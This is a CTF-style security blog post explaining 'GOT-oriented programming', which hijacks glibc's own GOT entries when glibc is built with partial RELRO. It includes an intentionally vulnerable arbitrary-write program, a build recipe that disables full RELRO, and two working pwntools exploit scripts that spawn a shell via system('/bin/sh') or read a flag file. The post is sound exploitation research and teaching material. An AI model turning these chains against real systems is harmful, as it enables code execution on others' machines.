2026-02-14
       Tags: pwn
       
       The other  day  I  was working on  a  pwn  challenge  and I noticed
       something  interesting:  its  version  of  libc had  partial  RELRO
       enabled.
       To  redirect  control  flow I tried overwriting  one  of libc's GOT
       entries  with a  one_gadget,  but  I  didn't  have  enough register
       control to pop a shell.
       That got me thinking: what  if we could use libc's GOT as a sort of
       jump table?
       This is a technique (itself a specific kind of JOP) I'd like to
       dub[^fn:1] called "GOT-oriented programming" (GOP).
       
       The GOT overwrite  attack  is as old  as  time  memoriam; clobber a
       GOT/PLT entry and redirect execution of a particular function to an
       attacker controlled address.
       Developers have wised up since  then  and realized the cons of lazy
       binding GOT entries far outweigh the pros, so an option called full
       RELRO  (`-z,now`)  was  implemented  which disables  lazy
       binding and makes the GOT read-only.[^fn:2]
       Although you usually hear about the GOT in the context of a  binary
       dynamically  linked  against  glibc,  glibc  has  its  own  GOT  to
       determine at runtime  the most efficient version of a function that
       the    hardware    supports     (stuff     like    AVX    optimized
       `memcpy`).
       Because these optimized functions are  somewhat common  (otherwise,
       why bother optimizing  them), there are many gadgets  in  libc that
       setup registers  for a function  call and then perform an  indirect
       jump to a GOT entry.
       In practice, it only takes a few of these "GOP  gadgets" to achieve
       nearly full register control, and from there  it's trivial to get a
       shell.
       
       To be specific, the requirements for GOP are
       
       1.  Libc compiled with partial  (or no) RELRO  (for Ubuntu, this is
           glibc < 2.39 [1])
       2.  Libc leak to defeat ASLR (if applicable)
       3.  (Semi-)arbitrary write that can target libc's GOT
       4.  A function in libc's `.got.plt` needs to be called at
           some point after  the corruption takes place  in order to start
           the GOP chain
       
       I've found this to be an interesting  way  to  pivot  an  arbitrary
       write to code execution,  even if it's not as  fancy  as techniques
       like        `setcontext`,       FSOP,        or
       `_dini_handler`.
       I'll demonstrate  the power  of  this technique with  a  simplified
       example  using glibc  2.43[^fn:3]  (compiled  with `--disable-
       bind-now`):
       #include <stdint.h>
       #include <unistd.h>
       #include <stdio.h>
       #include <string.h>
       
       int main() {
           setbuf(stdout, NULL);
           printf("puts() @ %p\n", &puts);
       
           while (true) {
               uint64_t data = 0;
               size_t address;
               printf("write: ");
               read(0, &data, 8);
               if (!strncmp("cancel", (void*)&data, 7)) break;
               printf("where: ");
               read(0, &address, 8);
               *(uint64_t*)address = data;
           }
       
           return 0;
       }
       {
         description = ''the best part was when he said "IT'S GOPPIN' TIME" and gopped all over those guys'';
       
         inputs.nixpkgs.url = "github:NixOS/nixpkgs/nixpkgs-unstable";
       
         outputs = { nixpkgs, ... }:
           let
             system = "x86_64-linux";
             lib = nixpkgs.lib;
             pkgs = import nixpkgs { inherit system; };
           in
             {
               packages.${system}.default = with pkgs; let
                 glibc' = stdenv.mkDerivation rec {
                   pname = "glibc";
                   version = "2.43";
       
                   src = fetchurl {
                     url = "mirror://gnu/glibc/glibc-${version}.tar.xz";
                     hash = "sha256-2chsa12920Oj4IJwxYRPxRd9GUQs9bjfS+fAfNX6ODE=";
                   };
       
                   nativeBuildInputs = [
                     bison
                     python3Minimal
                   ];
       
                   NIX_NO_SELF_RPATH = true;
       
                   preConfigure = ''
                     mkdir build; cd build
                     configureScript="$(pwd)/../configure"
       
                     export NIX_DONT_SET_RPATH=1
                   '';
       
                   configureFlags = [
                     (lib.enableFeature false "bind-now")
                     (lib.enableFeature true "cet")
                   ];
       
                   hardeningDisable = [
                     "fortify"
                     "bindnow"
                   ];
                 };
                 gcc' = wrapCCWith {
                   cc = gcc-unwrapped;
                   libc = glibc';
                   bintools = binutils.override { libc = glibc'; };
                 };
                 stdenv' = overrideCC stdenv gcc';
               in
                 stdenv'.mkDerivation {
                   name = "pwnable";
                   src = ./.;
       
                   env = {
                     NIX_CFLAGS_COMPILE = "-fcf-protection=full";
                     NIX_LDFLAGS = "-z cet-report=error";
                   };
       
                   buildPhase = "$CC pwnable.c -o pwnable";
                   installPhase = "mv pwnable $out";
                 };
             };
       }
       
       To start, we should investigate what functions are in glibc's GOT:
 (IMG) image
       
       Next,  let's  investigate which of  the above  functions are called
       throughout the program.
       Nothing  is  called as  part of glibc's  `exit`
       routine, but what about in the core loop?
       start
       # first printf
       tb *main+148
       c
       record btrace
       set record btrace bts buffer-size unlimited
       # second printf
       tb *main+94
       c
       set record function-call-history-size unlimited
       record function-call-history /c
       main
         __printf_chk@plt
           __printf_chk
             __vfprintf_internal
               __printf_buffer_to_file_init
                 __printf_buffer_to_file_switch
             __vfprintf_internal
               __printf_buffer
                 *ABS*+0xb0140@plt
                   __strchrnul_avx2_rtm
               __printf_buffer
                 __printf_buffer_write
                   *ABS*+0xae6a0@plt
                     __memmove_avx_unaligned_erms_rtm
                 __printf_buffer_write
               __printf_buffer
             __vfprintf_internal
               __printf_buffer_to_file_done
                 __printf_buffer_flush_to_file
                   __GI__IO_file_xsputn
                     __GI__IO_file_overflow
                       __GI__IO_do_write
                   __GI__IO_file_xsputn
                     new_do_write
                       _IO_file_write@@GLIBC_2.2.5
                         write
                           __syscall_cancel
                             __internal_syscall_cancel
                           __syscall_cancel
                         write
                       _IO_file_write@@GLIBC_2.2.5
                     new_do_write
                   __GI__IO_file_xsputn
                 __printf_buffer_flush_to_file
                   __printf_buffer_to_file_switch
               __printf_buffer_to_file_done
                 __printf_buffer_done
             __vfprintf_internal
           __printf_chk
       main
         read@plt
           read
             __syscall_cancel
               __internal_syscall_cancel
             __syscall_cancel
           read
       main
         strcmp@plt
           __strcmp_avx2_rtm
       main
       
       Aha!  `printf` ends  up calling  strchrnul  and
       memcpy through their  `.got.plt`  entries, which  we  can
       hijack![^fn:4]
       Note     that    the     functions     `read@plt`     and
       `strcmp@plt` are entries in our  program's  GOT,
       not libc's.
       
       Now, given the completely arbitrary write and libc leak there are a
       myriad of ways to achieve code execution, but let's try some GOP.
       To up  the ante, I will  only  consider gadgets  that start at  the
       beginning  of functions so our exploit will work even if IBT is
       enabled.[^fn:5]
       
       We  have  very  limited stack  control and  absolutely no  register
       control   when   either   of   `strchrnul`   or
       `memcpy` are called,  so we need a  gadget that
       can read the contents of writable libc memory into a register.
       After some searching I came across this guy:
       __error_at_line_internal:
           // ...
           mov     rax, qword [rel error_one_per_line]
           mov     dword [rbp-0x44 {var_4c}], edi
           mov     eax, dword [rax]
           test    eax, eax
           je      label1
       label1:
           cmp     dword [rel old_line_number.0], ecx
           je      label2
       label2:
           mov     rdi, qword [rel old_file_name.1]
           cmp     rdi, rdx
           je      bad
           test    rdx, rdx
           je      bad
           test    rdi, rdi
           je      bad
           mov     rsi, rdx
           call    j___GI_strcmp
       bad:
           // ...
       
       There's a lot of unrelated  stuff going on, but the general idea is
       that `rdi`  is set to the  value of a  variable in libc's
       `.bss`    section   (`old_file_name`)
       before     jumping    to    a     `.got.plt`     function
       (`strcmp`).
       The conditions we need to meet for this codepath are
       
       1.  `error_one_per_line != 0`
       2.  `old_line_number  == ecx` (here  `ecx`
           is 2)
       3.  `old_file_name  != rdx &&  old_file_name !=  0 &&  rdx  !=
           0` (the  first two conditions are trivial because  we
           want to control `old_file_name` anyway, and
           `rdx` happens to be nonzero)
       
       Let's try it:
       from pwn import *
       
       context.log_level = 'warning'
       
       elf = context.binary = ELF("pwnable")
       libc = ELF(elf.runpath.split(b':')[1] + b"/libc.so.6")
       
       def write(data, location):
           p.sendafter(b"write: ", data)
           p.sendafter(b"where: ", p64(location))
       
       p = remote("localhost", 1337)
       
       p.recvuntil(b"puts() @ ")
       libc.address = int(p.recvline(), 16) - libc.sym.puts
       
       write(p8(1), libc.sym.error_one_per_line)
       write(p8(2), libc.sym.old_line_number['0'])
       write(p64(next(libc.search(b"/bin/sh\x00"))), libc.sym.old_file_name['1'])
       
       write(p64(libc.sym.system), libc.got["__GI_strcmp"])
       write(p64(libc.sym.__error_at_line_internal), libc.got["__GI___strchrnul"])
       
       p.sendline(b"id")
       print(p.recvline())
       b'uid=1000(pwny) gid=100(users) groups=100(users),1(wheel)\n'
       
       But that's a very short chain... what if we needed to cat  the flag
       without a shell?
       Here's  a  (likely  overcomplicated) GOP chain used  to  print  the
       contents of `"/tmp/flag.txt"` and  then  cleanly exit the
       program:
       from pwn import *
       
       context.log_level = 'warning'
       
       elf = context.binary = ELF("pwnable")
       libc = ELF(elf.runpath.split(b':')[1] + b"/libc.so.6")
       
       def write(data, location):
           p.sendafter(b"write: ", data)
           p.sendafter(b"where: ", p64(location))
       
       p = remote("localhost", 1337)
       
       p.recvuntil(b"puts() @ ")
       libc.address = int(p.recvline(), 16) - libc.sym.puts
       
       write(p8(1), libc.sym.error_one_per_line)
       write(p8(2), libc.sym.old_line_number['0'])
       write(b"/tmp/flag.txt\x00"[:8], libc.sym.tmpnam_buffer)
       write(b"/tmp/flag.txt\x00"[8:], libc.sym.tmpnam_buffer+8)
       write(p64(libc.sym.tmpnam_buffer), libc.sym.old_file_name['1'])
       write(p64(libc.sym.__libc_procutils_read_file), libc.got["__GI_strcmp"])
       
       write(p64(libc.sym.explicit_bzero), libc.got["__GI_memchr"])
       write(p64(libc.sym.puts), libc.got["__GI_memset"])
       
       write(p64(libc.sym._exit), libc.got["__GI___strnlen"])
       write(p64(libc.sym.__error_at_line_internal), libc.got["__GI_strpbrk"])
       write(p64(libc.sym.__nss_valid_field), libc.got["__GI_strchr"])
       write(p64(libc.sym.putenv), libc.got["__GI___strchrnul"])
       
       p.recvline()
       print(p.recvline())
       b'flag{big-goppa}\n'
       
       Clearly this is a very versatile technique!
       
       As  I  said,  you're unlikely  to find a modern  version  of  glibc
       compiled with  partial RELRO in the wild, but  hopefully  this  can
       serve as a tool for more contrived situations like CTFs.
       I also wanted to mention related works by n132 [2] and pepsipu [3];
       although these are not quite  the same thing as GOP, they are still
       interesting  (and  perhaps more practical) examples of pivoting  an
       arbitrary write into code execution.
       
       [^fn:1]: After publishing this I came across  a writeup [4] by Thea
       "Teddy"  Heinen written  over  two  years  ago  that uses  the same
       terminology. Credit where credit is due!
       [^fn:2]:  Although  it's  a  little  unclear  when  full  RELRO was
       introduced, security-conscious distros like Arch [5] and Fedora [6]
       have been building glibc with it since the early 2000s.
       [^fn:3]:  Although I'm focusing on glibc in this post, GOP can also
       be used to attack libraries like libstdc++.
       [^fn:4]:     Using     `puts`     instead    of
       `printf`  would  also  work  because  it  calls
       `j___GI_strlen`.
       [^fn:5]:  This  is  a much more restrictive subset of  all
       possible  GOP gadgets and  limiting your  options  like  this isn't
       really necessary  in practice, but I wanted to demonstrate that CET
       [7] cannot defend against this attack.
       
       References:
 (HTM)   [1] glibc < 2.39
 (HTM)   [2] n132
 (HTM)   [3] pepsipu
 (HTM)   [4] writeup
 (HTM)   [5] Arch
 (HTM)   [6] Fedora
 (HTM)   [7] CET
       >=================================================================<
       
 (DIR) Blog
 (DIR) Writeups
 (DIR) jp
       
       copyright 2026 George Huebner
 (HTM) email